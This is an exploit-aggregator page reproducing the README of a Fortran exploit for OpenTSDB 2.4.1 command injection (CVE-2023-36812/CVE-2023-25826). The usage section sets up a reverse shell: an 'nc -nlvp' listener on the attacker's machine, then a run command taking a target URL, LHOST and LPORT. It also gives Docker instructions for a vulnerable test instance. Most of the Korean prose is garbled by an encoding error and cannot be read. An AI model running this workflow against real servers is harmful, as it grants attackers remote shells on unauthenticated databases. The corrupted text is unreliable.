Sploitus

Exploit for opentsdb_key_cmd_injection

kitploit ยท 2026-08-27

Exploit Code

MARKDOWN196 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ERIKWYNTER-OPENTSDB_KEY_CMD_INJECTION
# opentsdb_key_cmd_injection

Fortran์œผ๋กœ ์ž‘์„ฑ๋œ OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) ์ต์Šคํ”Œ๋กœ์ž‡

# About

์ด๊ฒƒ์€ OpenTSDB 2.4.1 ์ดํ•˜ ๋ฒ„์ „(CVE-2023-36812/CVE-2023-25826)์˜ ๋ช…๋ น ์‚ฝ์ž… ์ทจ์•ฝ์ ์„ ์œ„ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค. ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ํ˜„๋Œ€์ ์ธ Fortran์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ, ์˜ฌํ•ด ์ดˆ์— ๋งŒ๋“ค์–ด์ง„ ๊ณต์‹ Fortran http-client ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค.

# Vulnerability details

OpenTSDB๋Š” Java๋กœ ์ž‘์„ฑ๋œ ์˜คํ”ˆ์†Œ์Šค ์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ž…๋‹ˆ๋‹ค. 2020๋…„, 2.4.0 ์ดํ•˜ ๋ฒ„์ „์—์„œ ํ˜ธ์ŠคํŠธ์—์„œ ๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ช…๋ น ์‚ฝ์ž… ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. OpenTSDB๋Š” ์ธ์ฆ์„ ์ง€์›ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ, CVE-2020-35476์œผ๋กœ ์ถ”์ ๋˜๋Š” ์ด ์ทจ์•ฝ์ ์€ OpenTSDB ์›น ์ธํ„ฐํŽ˜์ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ˆ„๊ตฌ๋‚˜ ์•…์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” 2.4.1 ๋ฒ„์ „์—์„œ ํŒจ์น˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ฌํ•ด CVE-2020-35476์— ๋Œ€ํ•œ ํŒจ์น˜๊ฐ€ ๋ถˆ์™„์ „ํ•˜๋ฉฐ, ์—ฌ๋Ÿฌ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด OpenTSDB 2.4.1์—์„œ ์—ฌ์ „ํžˆ ๋ช…๋ น ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์„ธ๋ถ€ ์‚ฌํ•ญ:

  * ์ถ”์  ID: CVE-2023-36812. CVE-2023-25826์ด ์‹ค์ œ๋กœ ๋™์ผํ•œ ์ทจ์•ฝ์ ์„ ์„ค๋ช…ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด๋ฉฐ, ๋‘ CVE ๋ชจ๋‘ ์ •ํ™•ํžˆ ๋™์ผํ•œ ํŒจ์น˜๋ฅผ ๋งํฌํ•œ๋‹ค๋Š” ์ ์„ ์•Œ์•„๋‘์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค.
  * ๋ณด์•ˆ ๊ถŒ๊ณ : https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  * ๊ณต๋กœ: Oxeye์˜ Gal Goldstein๊ณผ Daniel Abeles
  * ํŒจ์น˜: ์ด ํŒจ์น˜๋Š” ์•„์ง ๊ณต์‹ ๋ฆด๋ฆฌ์Šค๊ฐ€ ์•„๋‹Œ 2.4.2์—์„œ ๋„์ž…๋  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค. ์ด ๊ธ€์„ ์ž‘์„ฑํ•˜๋Š” ์‹œ์ ์— ๊ฐ€์žฅ ์ตœ์‹  OpenTSDB ๋ฆด๋ฆฌ์Šค๋Š” 2.4.1์ด๋ฏ€๋กœ, ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์˜ ๋Œ€๋ถ€๋ถ„ OpenTSDB ์ธ์Šคํ„ด์Šค๊ฐ€ ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡๊ธด ํ•˜์ง€๋งŒ OpenTSDB FAQ๋Š” ์ด ํ”„๋กœ์ ํŠธ๊ฐ€ "๋‚ด๋ถ€ ์ „์šฉ์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ", "์–ด๋– ํ•œ ๋ณด์•ˆ ๊ฒ€ํ† ๋„ ๊ฑฐ์น˜์ง€ ์•Š์•˜๊ณ  ์ธ์ฆ๋„ ํฌํ•จํ•˜์ง€ ์•Š๋Š”๋‹ค"๋Š” ์ ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.



# Why Fortran?

์งง๊ฒŒ ๋งํ•˜๋ฉด, ์ด ๋Œ€ํ™”๋ฅผ ๋ณด๊ณ  ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค: ![why](https://raw.githubusercontent.com/ErikWynter/opentsdb_key_cmd_injection/main/why.png?raw=true)

์ธ๋ฅ˜๋ฅผ ๋‹ฌ์— ๋ณด๋‚ด๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด๋กœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ž‘์„ฑํ•œ๋‹ค๋Š” ์•„์ด๋””์–ด๊ฐ€ ๋„ˆ๋ฌด ํฅ๋ฏธ๋กœ์›Œ์„œ ์ง์ ‘ ํƒ๊ตฌํ•ด๋ณด์ง€ ์•Š์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ๊ทธ ์‹คํ—˜์˜ ๊ฒฐ๊ณผ๋ฌผ์ž…๋‹ˆ๋‹ค. ์„ฑ๊ณตํ–ˆ๋Š”์ง€์— ๋Œ€ํ•œ ์งˆ๋ฌธ์—๋Š”, ๋ชจ๋“  ๊ฐœ๋ฐœ์ž๋ฅผ ํ”ผ๋กœ ๋ฌถ๋Š” ํ˜„๋ช…ํ•˜๋ฉด์„œ๋„ ์ €์ฃผ๋ฐ›์€ ๋ง๋กœ๋งŒ ๋‹ตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ์ œ ์ปดํ“จํ„ฐ์—์„œ๋Š” ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ยฏ\_(ใƒ„)_ /ยฏ

์–ด์จŒ๋“  ์ด ํ”„๋กœ์ ํŠธ์—์„œ ์–ป์€ ์ฃผ์š” ๊ตํ›ˆ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  * Fortran์€ ์‹ค์ œ๋กœ ๊ฝค ๋ฉ‹์ง€๊ณ , ๋†€๋ž๊ฒŒ๋„ ๋ฐฐ์šฐ๊ธฐ ์‰ฝ์Šต๋‹ˆ๋‹ค.
  * fpm ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž๋ฅผ ํฌํ•จํ•œ ํ˜„๋Œ€์ ์ธ Fortran ์ƒํƒœ๊ณ„๋Š” ํฐ ๊ฐ€๋Šฅ์„ฑ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.
  * Fortran์€ ๊ฐ•ํƒ€์ž… ์–ธ์–ด์ด๋ฉฐ, ๋ถˆ์พŒํ•œ ๋Ÿฐํƒ€์ž„ ์˜ค๋ฅ˜๋ฅผ ๊ฑฐ์˜ ๋งŒ๋‚˜์ง€ ๋ชปํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋Š” ์ข‹์€ ์ ์ด๋ผ๊ณ  ์ƒ๊ฐํ–ˆ์Šต๋‹ˆ๋‹ค.
  * ์˜์กด์„ฑ์ด ์žˆ๋Š” Fortran ํ”„๋กœ์ ํŠธ๋Š” fpm์ด ์˜์กด์„ฑ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ํ”„๋กœ์ ํŠธ์— ์ง์ ‘ ํฌํ•จํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ทœ๋ชจ๊ฐ€ ํฝ๋‹ˆ๋‹ค. ์žฅ์ ์€ ์‹œ์Šคํ…œ ์˜ค์—ผ์„ ํ”ผํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  * ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ง€์›์€ ํ˜„๋Œ€ ์–ธ์–ด์— ๋น„ํ•ด ์ƒ๋Œ€์ ์œผ๋กœ ์ œํ•œ์ ์ด๊ณ  ํ˜ผ๋ž€์Šค๋Ÿฝ์Šต๋‹ˆ๋‹ค. ์•ˆํƒ€๊น๊ฒŒ๋„ ์ด๋Š” http-client ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋งŒ์˜ ๋ฌธ์ œ๋Š” ์•„๋‹™๋‹ˆ๋‹ค.
  * ๋‹น์—ฐํ•˜๊ฒŒ๋„, ๋Œ€๋ถ€๋ถ„์˜ ํ˜„๋Œ€ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์— ๋น„ํ•ด ์ข‹์€ ๋ฌธ์„œ์™€ ๋ฌธ์ œ ํ•ด๊ฒฐ ํŒ์„ ์ฐพ๊ธฐ๊ฐ€ ๋” ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ StackOverflow์™€ 2000๋…„๋Œ€ ์ดˆ๋ฐ˜์˜ ์˜ค๋ž˜ ์žŠํ˜€์ง„ ํฌ๋Ÿผ์—๋Š” ์—ฌ์ „ํžˆ ๊ฝค ์œ ์šฉํ•œ ๊ฒŒ์‹œ๋ฌผ์ด ๊ฝค ์žˆ์Šต๋‹ˆ๋‹ค.
  * ChatGPT ๋ฐ GitHub Copilot๊ณผ ๊ฐ™์€ AI ๋„๊ตฌ๋Š” ํ˜„๋Œ€ ์–ธ์–ด์˜ ๊ฒฝ์šฐ๋ณด๋‹ค ํ›จ์”ฌ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋”ฉ ํŒŒํŠธ๋„ˆ์ž…๋‹ˆ๋‹ค.



์ข…ํ•ฉํ•ด ๋ณด๋ฉด, ์ƒ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์‚ฌ์šฉ ์‚ฌ๋ก€์— ๋Œ€ํ•ด ํƒ„ํƒ„ํ•œ ํ˜„๋Œ€์  ๋Œ€์•ˆ(Python, Go, Rust, Ruby, C# ๋“ฑ)์ด ๋„ˆ๋ฌด ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— ์ด ์–ธ์–ด๊ฐ€ ๊ณต๊ฒฉ ๋ณด์•ˆ ๋ถ„์•ผ์—์„œ ์ง„์ •์œผ๋กœ ์ค‘์š”ํ•ด์ง€๋Š” ๊ฒƒ์€ ์ƒ์ƒํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด๋ฅผ ์‹คํ—˜ํ•˜๋Š” ๊ฒƒ์„ ์ข‹์•„ํ•˜๊ณ  ๋ฌธ์ž์—ด์„ ํ•ญ์ƒ `trim()` ํ˜ธ์ถœ๋กœ ๊ฐ์‹ธ๋Š” ๊ฒƒ์„ ๊ดœ์ฐฎ๊ฒŒ ์ƒ๊ฐํ•œ๋‹ค๋ฉด(์ด ์ ์„ ๊ผญ ๊ธฐ์–ตํ•˜์„ธ์š”. ์—„์ฒญ๋‚œ ๊ณ ํ†ต์„ ๋œ์–ด์ค„ ๊ฒƒ์ž…๋‹ˆ๋‹ค), Fortran์€ ํ™•์ธํ•ด๋ณผ ๊ฐ€์น˜๊ฐ€ ์ถฉ๋ถ„ํžˆ ์žˆ์Šต๋‹ˆ๋‹ค. ์ €๋Š” ์ด์ œ ์ง„์‹ฌ์œผ๋กœ ์ด ์–ธ์–ด๋ฅผ ์‘์›ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, http-client ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ๋Œ€ํ•œ ์ง€์›์„ ๊ณ„์† ์ถ”๊ฐ€ํ•œ๋‹ค๋ฉด, ํŠนํžˆ ์–ธ์  ๊ฐ€ http-server ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค๋ฉด ๋‹ค์‹œ ์‚ดํŽด๋ณผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์š”์•ฝ: Fortran http-client ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ brr ํ•ฉ๋‹ˆ๋‹ค.

# Usage

  * ์‹œ์Šคํ…œ์—์„œ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์‹œ์ž‘ํ•˜์„ธ์š”, ์˜ˆ:



root@kitploit:~
    
    
    nc -nlvp 1337
    

  * ๋ณ„๋„์˜ ์ฐฝ์—์„œ `opentsdb_key_cmd_injection` ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์ด๋™ํ•˜์„ธ์š”



root@kitploit:~
    
    
    # cd /path/to/opentsdb_key_cmd_injection/
    

  * `fpm`์„ ํ†ตํ•ด ํ”„๋กœ์ ํŠธ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š” (๋จผ์ € ์„ค์น˜ํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์„ค์น˜ ์ง€์นจ์€ ๋‹ค์Œ ์„น์…˜์„ ์ฐธ์กฐํ•˜์„ธ์š”)



root@kitploit:~
    
    
    # /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
    

์˜ต์…˜:

  * `-t` \- TARGET URL: OpenTSDB์˜ ๊ธฐ๋ณธ URL (ํ•„์ˆ˜)
  * `-l` \- LHOST: ๋ฆฌ์Šค๋„ˆ๋ฅผ ์‹คํ–‰ ์ค‘์ธ ์‹œ์Šคํ…œ์˜ IP (ํ•„์ˆ˜)
  * `-p` \- LPORT: ๋ฆฌ์Šค๋„ˆ ํฌํŠธ (ํ•„์ˆ˜)
  * `-v` \- VERBOSE: ์ƒ์„ธ ์ถœ๋ ฅ ํ™œ์„ฑํ™” (์„ ํƒ)



# Installation

  * `gfortran`์„ ์„ค์น˜ํ•˜์„ธ์š”. ๋ฐ๋น„์•ˆ ๊ณ„์—ด ์‹œ์Šคํ…œ์—์„œ๋Š” ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:



root@kitploit:~
    
    
    apt install gfortran
    

  * fpm์„ ์„ค์น˜ํ•˜์„ธ์š”. ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•์€ GitHub์˜ fpm ๋ฆด๋ฆฌ์Šค ํŽ˜์ด์ง€์—์„œ ์ตœ์‹  ์•ˆ์ • ๋ฆด๋ฆฌ์Šค์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ ํ›„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:



root@kitploit:~
    
    
    chmod +x /<path>/to/fpm
    

`fpm`์„ ์„ค์น˜ํ•˜๊ธฐ ์ „์— ์‹œ์Šคํ…œ์— `git`์ด ์„ค์น˜๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

# Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

# Setting up an OpenTSDB instance for testing

## Manual installation (not recommended)

์ˆ˜๋™ ์„ค์น˜์˜ ๊ฒฝ์šฐ ๊ณต์‹ ์„ค์น˜ ์ง€์นจ ์—ฌ๊ธฐ๋ฅผ ๋”ฐ๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ๋ฐฉ๋ฒ•์€ ๋ฒˆ๊ฑฐ๋กœ์šธ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ docker๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

## Docker installation (recommended)

2.4.0 ๋ฒ„์ „์˜ ๊ฒฝ์šฐ vulnhub docker ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์—ฌ๊ธฐ์˜ ์„ค์น˜ ์ง€์นจ์„ ๋”ฐ๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์ด๋ฏธ์ง€๋Š” OpenTSDB 2.4.0๊นŒ์ง€์˜ ์ด์ „ ์ทจ์•ฝ์ ์ธ CVE-2020-35476์„ ์œ„ํ•ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค.

2.4.1 ๋ฒ„์ „ ๋ฐ ์•„๋งˆ๋„ ๋‹ค๋ฅธ ๋ชจ๋“  ๋ฒ„์ „์˜ ๊ฒฝ์šฐ, OpenTSDB 2.4.0์šฉ vulhub ์ด๋ฏธ์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ๋ฒ„์ „์„ ์„ค์น˜ํ•˜๋„๋ก ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ €๋Š” 2.4.1์— ๋Œ€ํ•ด ์ด ๋ฐฉ๋ฒ•์„ ๋”ฐ๋ž๊ณ  ์ž˜ ์ž‘๋™ํ–ˆ์Šต๋‹ˆ๋‹ค.

  * ๋จผ์ € vulhub OpenTSDB 2.4.0 `Dockerfile` ๋ฐ `docker-entrypoint.sh` ํŒŒ์ผ์„ ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์™€ ์ „์šฉ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•˜์„ธ์š”.
  * `Dockerfile`์—์„œ `2.4.0`์˜ ๋ชจ๋“  ์ธ์Šคํ„ด์Šค๋ฅผ ์›ํ•˜๋Š” ๋ฒ„์ „(์˜ˆ: `2.4.1`)์œผ๋กœ ๋ฐ”๊พธ์„ธ์š”.
  * `docker-entrypoint.sh`๋Š” ์ˆ˜์ •ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.
  * ๋‹ค์Œ ๋‚ด์šฉ์œผ๋กœ `docker-compose.yml` ํŒŒ์ผ์„ ๋งŒ๋“œ์„ธ์š”:



root@kitploit:~
    
    
    version: '2'
    services:
     opentsdb:
       build: ./path-to-your-dockerfile-directory
       ports:
        - "4242:4242"
    

์ €๋Š” ์ด ํŒŒ์ผ ๊ตฌ์กฐ๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    wynter@wynter-pc:~/dev/opentsdb$ ls -lR
    .:
    total 8
    -rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
    drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file
    
    ./docker_file:
    total 8
    -rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
    -rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
    wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
    version: '2'
    services:
     opentsdb:
       build: ./docker_file
       ports:
        - "4242:4242"
    

  * ๋งˆ์ง€๋ง‰์œผ๋กœ `docker-compose.yml` ํŒŒ์ผ์ด ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์•„๋ž˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ docker-compose๋ฅผ ํ†ตํ•ด ์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜์„ธ์š”:



root@kitploit:~
    
    
    docker-compose up -d
    

  * ๋ช‡ ์ดˆ ํ›„ OpenTSDB๊ฐ€ ํฌํŠธ 4242์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ๊ตฌ์„ฑ์€ ํ•„์š” ์—†์Šต๋‹ˆ๋‹ค.



# A brief history of Fortran (because why not)

Fortran์€ ์ฃผ๋กœ ํ˜„๋Œ€ ์ปดํ“จํŒ…์˜ ์—ญ์‚ฌ์—์„œ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ–ˆ์ง€๋งŒ ์˜ค๋Š˜๋‚ ์—๋Š” ๋” ์ด์ƒ ๊ด€๋ จ์„ฑ์ด ์—†๋‹ค๊ณ  ์—ฌ๊ฒจ์ง€๋Š” ๊ณ ํ’์Šค๋Ÿฌ์šด ์–ธ์–ด๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. 1957๋…„์— ์ฒ˜์Œ ์ถœ์‹œ๋˜์—ˆ์œผ๋ฉฐ, ARPANET๊ณผ Unix๋ณด๋‹ค 10๋…„ ์ด์ƒ ์•ž์„ฐ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ๊ณ„์—ด ๋ฐ์ดํ„ฐ ๋น„๋””์˜ค์— ๋”ฐ๋ฅด๋ฉด 1960๋…„๋Œ€์™€ 1970๋…„๋Œ€ ๋‚ด๋‚ด ์ง€๋ฐฐ์ ์ธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์˜€์œผ๋ฉฐ, 1990๋…„๋Œ€ ํ›„๋ฐ˜๊นŒ์ง€ ๊ฐ€์žฅ ์ธ๊ธฐ ์žˆ๋Š” 10๋Œ€ ์–ธ์–ด ์ค‘ ํ•˜๋‚˜๋กœ ๋‚จ์•„ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Windows 98์ด ์ถœ์‹œ๋  ๋ฌด๋ ต์—๋Š” C, C++, Java ๋ฐ JavaScript์™€ ๊ฐ™์€ ๋” ํ˜„๋Œ€์ ์ธ ์–ธ์–ด๋“ค์— ๋ฐ€๋ ค ํ™•์‹คํžˆ ์‹œ๋Œ€์— ๋’ค์ฒ˜์กŒ์œผ๋ฉฐ, ์ด ๋ชจ๋“  ์–ธ์–ด๋Š” ์˜ค๋Š˜๋‚ ์—๋„ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๋ ˆ๊ฑฐ์‹œ ์‹œ์Šคํ…œ์„ ๊ด€๋ฆฌํ•˜๋Š” ์šฉ๊ฐํ•œ ์‚ฌ๋žŒ๋“ค์„ ์ œ์™ธํ•˜๋ฉด, ์ง€๋‚œ 20๋…„ ๋™์•ˆ IT ๋ถ„์•ผ์—์„œ ๋งŽ์€ ์‚ฌ๋žŒ๋“ค(์šฐ๋ฆฌ ์˜์—ญ ๋ฐ–์€ ๋งํ•  ๊ฒƒ๋„ ์—†๊ณ )์ด Fortran์„ ์ ‘ํ–ˆ์„ ๊ฐ€๋Šฅ์„ฑ์€ ๋‚ฎ๊ณ , ์‹ฌ์ง€์–ด ์—ฌ์ „ํžˆ ์กด์žฌํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์กฐ์ฐจ ์•„๋Š” ์‚ฌ๋žŒ์ด ๋งŽ์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  Fortran์€ ์—ฌ์ „ํžˆ ํ™œ๋ฐœํžˆ ๊ฐœ๋ฐœ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต์‹ Fortran ์›น์‚ฌ์ดํŠธ์— ๋ช…์‹œ๋œ ๋ฐ”์™€ ๊ฐ™์ด, ์ด ์–ธ์–ด๋Š” 2018๋…„์— ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ฐœ์ •๋˜์—ˆ์œผ๋ฉฐ, ์˜ฌํ•ด(2023)์— ๋˜ ๋‹ค๋ฅธ ๊ฐœ์ •์ด ์žˆ์„ ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€๋ฉ๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ Fortran ์ปค๋ฎค๋‹ˆํ‹ฐ๋Š” ์ง€๋‚œ ๋ช‡ ๋…„ ๋™์•ˆ ๋งค์šฐ ํ™œ๋ฐœํ–ˆ๋˜ ๊ฒƒ์œผ๋กœ ๋ณด์ด๋ฉฐ, ์ƒํƒœ๊ณ„ ํ˜„๋Œ€ํ™”๋ฅผ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ์ฃผ์š” ํ”„๋กœ์ ํŠธ๋ฅผ ๋‚ด๋†“์•˜์Šต๋‹ˆ๋‹ค:

  * stdlib: ์ตœ์ดˆ์˜ Fortran ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ (์ฒซ ๋ฆด๋ฆฌ์Šค: 2021)
  * fpm: fpm์ด๋ผ๋Š” ํ˜„๋Œ€์ ์ธ ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž์ด์ž ๋นŒ๋“œ ์‹œ์Šคํ…œ (์ฒซ ์•ŒํŒŒ ๋ฆด๋ฆฌ์Šค: 2020)
  * http-client: ์•ž์„œ ์–ธ๊ธ‰ํ•œ HTTP ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ (์ฒซ ๋ฆด๋ฆฌ์Šค: 2023).



์ด๋ฅผ ๊ณ ๋ คํ•  ๋•Œ, ๊ด€๋ฆฌ์ž๋“ค์€ ์–ด๋А ์ •๋„ Fortran์˜ ๋ถ€ํ™œ์„ ๋ชฉํ‘œ๋กœ ํ•˜๊ฑฐ๋‚˜, ์ตœ์†Œํ•œ ์ด ์–ธ์–ด๊ฐ€ ์ˆ˜์‹ญ ๋…„ ๋” ์ƒ์กดํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํšŒ๋ฅผ ์ฃผ๋ ค๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ฐ€์žฅ ์—ด๋ ฌํ•œ Fortran ํŒฌ์ด๋ผ ํ• ์ง€๋ผ๋„ ์ด ์–ธ์–ด๊ฐ€ ๋‹ค์‹œ ๊ฐ€์žฅ ์ธ๊ธฐ ์žˆ๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด ์ƒ์œ„ 10์œ„ ์•ˆ์— ๋“ค ๊ฒƒ์œผ๋กœ ๊ธฐ๋Œ€ํ•˜์ง€๋Š” ์•Š๊ฒ ์ง€๋งŒ, ์–ธ์–ด์™€ ์ƒํƒœ๊ณ„์˜ ์ง€์†์ ์ธ ํ˜„๋Œ€ํ™”๋Š” Fortran์„ ์ง€๋‚œ 10~20๋…„๋ณด๋‹ค ๋” ๊ด€๋ จ์„ฑ ์žˆ๊ฒŒ ๋งŒ๋“ค์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.